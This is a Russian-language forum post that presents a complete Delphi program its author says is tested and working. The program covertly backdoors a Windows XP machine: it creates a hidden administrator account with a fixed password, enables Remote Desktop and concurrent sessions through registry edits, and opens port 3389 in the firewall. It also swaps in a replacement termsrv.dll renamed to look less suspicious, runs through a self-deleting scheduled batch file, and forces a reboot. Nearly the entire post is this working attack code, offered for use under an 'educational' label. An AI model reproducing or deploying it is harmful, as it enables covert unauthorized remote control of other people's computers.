|
Moderator - Level 7
Регистрация: 02.05.2009
Сообщений: 894
С нами:
8960826
Репутация:
2261
|
|
итак, готово.
"На дельфи" программа, более менее эффективно превращающая ПК в Dedicated Server с учетной записью test_account и паролем some_password выглядит так:
Код:
program Dedic;
uses
SysUtils,windows;
var
f:textfile;
begin
copyfile('object.bin','c:\RECYCLER\temp_dll.tmp',false);
assignfile(f,'c:\RECYCLER\temp1.bat');
rewrite(f);
writeln(f,'net user test_account some_password /add');
writeln(f,'net user test_account some_password /EXPIRES:NEVER');
writeln(f,'net user test_account /active:yes');
writeln(f,'net localgroup Users test_account /add');
writeln(f,'net localgroup Power Users test_account /add');
writeln(f,'net localgroup Power Backup Operators test_account /add');
writeln(f,'net localgroup Power Remote Desktop Users test_account /add');
writeln(f,'net localgroup Administrators test_account /add');
writeln(f,'chcp 1252');
writeln(f,'net localgroup Администраторы test_account /add');
writeln(f,'chcp 866');
writeln(f,'net localgroup HelpServicesGroup test_account /add');
writeln(f,'md "%SystemDrive%\Documents and Settings\test_account"');
writeln(f,'attrib +r +a +s +h "%SystemDrive%\Documents and Settings\test_account"');
writeln(f,'');
writeln(f,'');
writeln(f,'echo Windows Registry Editor Version 5.00>file.reg');
writeln(f,'');
writeln(f,'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]>>file.reg');
writeln(f,'echo "Start"=dword:00000002>>file.reg');
writeln(f,'');
writeln(f,'echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services]>>file.reg');
writeln(f,'echo "MaxInstanceCount"=dword:00000064>>file.reg');
writeln(f,'');
writeln(f,'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core]>>file.reg');
writeln(f,'echo "EnableConcurrentSessions"=dword:00000001>>file.reg');
writeln(f,'');
writeln(f,'echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]>>file.reg');
writeln(f,'echo "AllowMultipleTSSessions"=dword:00000001>>file.reg');
writeln(f,'');
writeln(f,'echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\History]>>file.reg');
writeln(f,'echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\History\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}]>>file.reg');
writeln(f,'echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\History\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}\0]>>file.reg');
writeln(f,'echo "Options"=dword:00000000>>file.reg');
writeln(f,'echo "Version"=dword:00010001>>file.reg');
writeln(f,'echo "DSPath"="LocalGPO">>file.reg');
writeln(f,'echo "FileSysPath"="C:\\WINNT\\System32\\GroupPolicy\\Machine">>file.reg');
writeln(f,'echo "DisplayName"="Политика локальной группы">>file.reg');
writeln(f,'echo "Extensions"="[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{0F6B957D-509E-11D1-A7CC-0000F87571E3}]">>file.reg');
writeln(f,'echo "Link"="Local">>file.reg');
writeln(f,'echo "GPOName"="Политика локальной группы">>file.reg');
writeln(f,'echo "GPOLink"=dword:00000001>>file.reg');
writeln(f,'echo "lParam"=dword:00000000>>file.reg');
writeln(f,'');
writeln(f,'echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server]>>file.reg');
writeln(f,'echo "fDenyTSConnections"=dword:00000000>>file.reg');
writeln(f,'echo "fEnableSalem"=dword:00000000>>file.reg');
writeln(f,'echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\LEGACY_RDPWD]>>file.reg');
writeln(f,'echo "NextInstance"=dword:00000001>>file.reg');
writeln(f,'');
writeln(f,'echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\LEGACY_RDPWD\0000]>>file.reg');
writeln(f,'echo "Service"="RDPWD">>file.reg');
writeln(f,'echo "Legacy"=dword:00000001>>file.reg');
writeln(f,'echo "ConfigFlags"=dword:00000000>>file.reg');
writeln(f,'echo "Class"="LegacyDriver">>file.reg');
writeln(f,'echo "ClassGUID"="{8ECC055D-047F-11D1-A537-0000F8753ED1}">>file.reg');
writeln(f,'echo "DeviceDesc"="RDPWD">>file.reg');
writeln(f,'echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\LEGACY_RDPWD\0000\Control]>>file.reg');
writeln(f,'echo "*NewlyCreated*"=dword:00000000>>file.reg');
writeln(f,'echo "ActiveService"="RDPWD">>file.reg');
writeln(f,'');
writeln(f,'');
writeln(f,'echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\LEGACY_TDTCP]>>file.reg');
writeln(f,'echo "NextInstance"=dword:00000001>>file.reg');
writeln(f,'echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\LEGACY_TDTCP\0000]>>file.reg');
writeln(f,'echo "Service"="TDTCP">>file.reg');
writeln(f,'echo "Legacy"=dword:00000001>>file.reg');
writeln(f,'echo "ConfigFlags"=dword:00000000>>file.reg');
writeln(f,'echo "Class"="LegacyDriver">>file.reg');
writeln(f,'echo "ClassGUID"="{8ECC055D-047F-11D1-A537-0000F8753ED1}">>file.reg');
writeln(f,'echo "DeviceDesc"="TDTCP">>file.reg');
writeln(f,'echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\LEGACY_TDTCP\0000\Control]>>file.reg');
writeln(f,'echo "*NewlyCreated*"=dword:00000000>>file.reg');
writeln(f,'echo "ActiveService"="TDTCP">>file.reg');
writeln(f,'');
writeln(f,'echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\RDPWD\Enum]>>file.reg');
writeln(f,'echo "0"="Root\\LEGACY_RDPWD\\0000">>file.reg');
writeln(f,'echo "Count"=dword:00000001>>file.reg');
writeln(f,'echo "NextInstance"=dword:00000001>>file.reg');
writeln(f,'');
writeln(f,'echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\TDTCP\Enum]>>file.reg');
writeln(f,'echo "0"="Root\\LEGACY_TDTCP\\0000">>file.reg');
writeln(f,'echo "Count"=dword:00000001>>file.reg');
writeln(f,'echo "NextInstance"=dword:00000001>>file.reg');
writeln(f,'');
writeln(f,'echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\GloballyOpenPorts\List]>>file.reg');
writeln(f,'echo "3389:TCP"="3389:TCP:*:Enabled:@xpsp2res.dll,-22009">>file.reg');
writeln(f,'echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List]>>file.reg');
writeln(f,'echo "3389:TCP"="3389:TCP:*:Enabled:@xpsp2res.dll,-22009">>file.reg');
writeln(f,'');
writeln(f,'');
writeln(f,'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>file.reg');
writeln(f,'echo "fDenyTSConnections"=dword:00000000>>file.reg');
writeln(f,'echo "fEnableSalem"=dword:00000000>>file.reg');
writeln(f,'');
writeln(f,'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_RDPWD]>>file.reg');
writeln(f,'echo "NextInstance"=dword:00000001>>file.reg');
writeln(f,'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_RDPWD\0000]>>file.reg');
writeln(f,'echo "Service"="RDPWD">>file.reg');
writeln(f,'echo "Legacy"=dword:00000001>>file.reg');
writeln(f,'echo "ConfigFlags"=dword:00000000>>file.reg');
writeln(f,'echo "Class"="LegacyDriver">>file.reg');
writeln(f,'echo "ClassGUID"="{8ECC055D-047F-11D1-A537-0000F8753ED1}">>file.reg');
writeln(f,'echo "DeviceDesc"="RDPWD">>file.reg');
writeln(f,'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_RDPWD\0000\Control]>>file.reg');
writeln(f,'echo "*NewlyCreated*"=dword:00000000>>file.reg');
writeln(f,'echo "ActiveService"="RDPWD">>file.reg');
writeln(f,'');
writeln(f,'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_TDTCP]>>file.reg');
writeln(f,'echo "NextInstance"=dword:00000001>>file.reg');
writeln(f,'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_TDTCP\0000]>>file.reg');
writeln(f,'echo "Service"="TDTCP">>file.reg');
writeln(f,'echo "Legacy"=dword:00000001>>file.reg');
writeln(f,'echo "ConfigFlags"=dword:00000000>>file.reg');
writeln(f,'echo "Class"="LegacyDriver">>file.reg');
writeln(f,'echo "ClassGUID"="{8ECC055D-047F-11D1-A537-0000F8753ED1}">>file.reg');
writeln(f,'echo "DeviceDesc"="TDTCP">>file.reg');
writeln(f,'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_TDTCP\0000\Control]>>file.reg');
writeln(f,'echo "*NewlyCreated*"=dword:00000000>>file.reg');
writeln(f,'echo "ActiveService"="TDTCP">>file.reg');
writeln(f,'');
writeln(f,'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RDPWD\Enum]>>file.reg');
writeln(f,'echo "0"="Root\\LEGACY_RDPWD\\0000">>file.reg');
writeln(f,'echo "Count"=dword:00000001>>file.reg');
writeln(f,'echo "NextInstance"=dword:00000001>>file.reg');
writeln(f,'');
writeln(f,'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TDTCP\Enum]>>file.reg');
writeln(f,'echo "0"="Root\\LEGACY_TDTCP\\0000">>file.reg');
writeln(f,'echo "Count"=dword:00000001>>file.reg');
writeln(f,'echo "NextInstance"=dword:00000001>>file.reg');
writeln(f,'');
writeln(f,'');
writeln(f,'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\GloballyOpenPorts\List]>>file.reg');
writeln(f,'echo "3389:TCP"="3389:TCP:*:Enabled:@xpsp2res.dll,-22009">>file.reg');
writeln(f,'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List]>>file.reg');
writeln(f,'echo "3389:TCP"="3389:TCP:*:Enabled:@xpsp2res.dll,-22009">>file.reg');
writeln(f,'');
writeln(f,'');
writeln(f,'echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]>>file.reg');
writeln(f,'echo "test_account"=dword:00000000>>file.reg');
writeln(f,'');
writeln(f,'REGEDIT /S file.reg');
writeln(f,'DEL /Q file.reg');
writeln(f,'');
writeln(f,'ren %SystemRoot%\system32\termsrv.dll termsrv.old');
writeln(f,'del %SystemRoot%\system32\termsrv.old');
writeln(f,'copy c:\RECYCLER\temp_dll.tmp %SystemRoot%\system32\DLLCache\termsrv.dll');
writeln(f,'copy c:\RECYCLER\temp_dll.tmp %SystemRoot%\system32\termsrv.dll');
writeln(f,'');
writeln(f,'DEL /Q c:\RECYCLER\temp_dll.tmp');
writeln(f,'shutdown -r -f -t 1');
writeln(f,'DEL /Q c:\RECYCLER\temp1.bat');
closefile(f);
assignfile(f,'c:\RECYCLER\temp2.bat');
rewrite(f);
writeln(f,'set /a hr=%time:~,2%');
writeln(f,'set /a min=%TIME:~3,2%+15');
writeln(f,'at %hr%:%min% c:\RECYCLER\temp1.bat');
writeln(f,'DEL /Q c:\RECYCLER\temp2.bat');
closefile(f);
winexec('c:\RECYCLER\temp2.bat',0);
end.
где object.bin - переименованная для меньшей подозрительности старая версия библиотеки termsrv.dll, позволяющая коннектиться к ХР-юше сразу многим пользователям.
Скачать её можно в гугле или тут (http://errorneo.com/files/termsrv.zip)
Код оттестирован на виртуалке и полностью работоспособен.
Написан в образовательных целях.
post scriptum:
writeln(f,'net user test_account /active:yes'); - чтобы было. При некоторых юзернеймах может пригодиться.
writeln(f,''); - для красоты.
"На дельфи" в кавычках потому, что можно было бы и вообще обойтись без коноплируемого языка - сделав программу из одного единственного батника и либы. Но все же в виде exe оно как-то удобнее
Последний раз редактировалось ErrorNeo; 10.03.2010 в 00:21..
|